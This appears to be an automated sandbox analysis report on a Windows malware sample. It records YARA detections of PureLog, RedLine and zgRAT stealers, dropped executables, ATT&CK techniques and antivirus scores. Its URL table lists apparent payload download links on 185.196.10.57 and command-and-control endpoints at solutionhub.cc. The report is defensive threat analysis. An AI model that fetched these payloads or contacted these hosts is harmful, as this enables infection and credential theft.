Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005F132A GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_005F132A

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005E48B0 GetUserNameA,

0_2_005E48B0

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005E98AE GetModuleHandleA,GetVersion,Sleep,std::_Throw_Cpp_error,

0_2_005E98AE

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1840252168.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 4092, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1840252168.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 4092, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY

Source: Yara match	File source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f363d4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fe518c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 6680, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	512 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	11 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	145 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	461 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	261 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	512 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Users	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RPHbzz3JqY.exe	61%	ReversingLabs	Win32.Trojan.Amadey
RPHbzz3JqY.exe	57%	Virustotal		Browse
RPHbzz3JqY.exe	100%	Avira	HEUR/AGEN.1319014
RPHbzz3JqY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	100%	Avira	HEUR/AGEN.1319014
C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	100%	Avira	HEUR/AGEN.1310947
C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	100%	Joe Sandbox ML
C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	100%	Joe Sandbox ML
C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	83%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	76%	Virustotal		Browse
C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	83%	ReversingLabs	Win64.Trojan.Casdet
C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	74%	Virustotal		Browse

Name	Source	Malicious
http://cacerts.digicert.cU	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/A;	sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/acev.exeu	explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp	false
http://www.fontbureau.com/designersG	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/~	explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers/?	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.founder.com.cn/cn/bThe	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/Support.exey	explert.exe, 00000004.00000003.2114234135.000000000142F000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.2801052059.000000000142F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F35EE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers?	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.microsoft.cj	explert.exe, 00000004.00000003.1712362816.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1712419900.0000000001407000.00000004.00000020.00020000.00000000.sdmp	false
https://solutionhub.cc/$;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp	false
https://api.msn.com:443/v1/news/Feed/Windows?	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5BB1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03431000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F3560000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E49481000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.rs/getrandom#nodejs-es-module-support	sys_updater.exe.26.dr	false
http://crl.microsoft.ca8	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.tiro.com	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc:443/socket/	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.s	MSBuild.exe, 0000000C.00000002.1842346912.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/-;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.goodfont.co.kr	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://185.196.10.57/selectex-file-host/acev.exe	explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.sajatypeworks.com	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
https://solutionhub.cc/s;	IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.typography.netD	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.founder.com.cn/cn/cThe	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
http://www.galapagosdesign.com/staff/dennis.htm	MSBuild.exe, 0000000C.00000002.1848530949.0000000006FA2000.00000004.00000800.00020000.00000000.sdmp	false
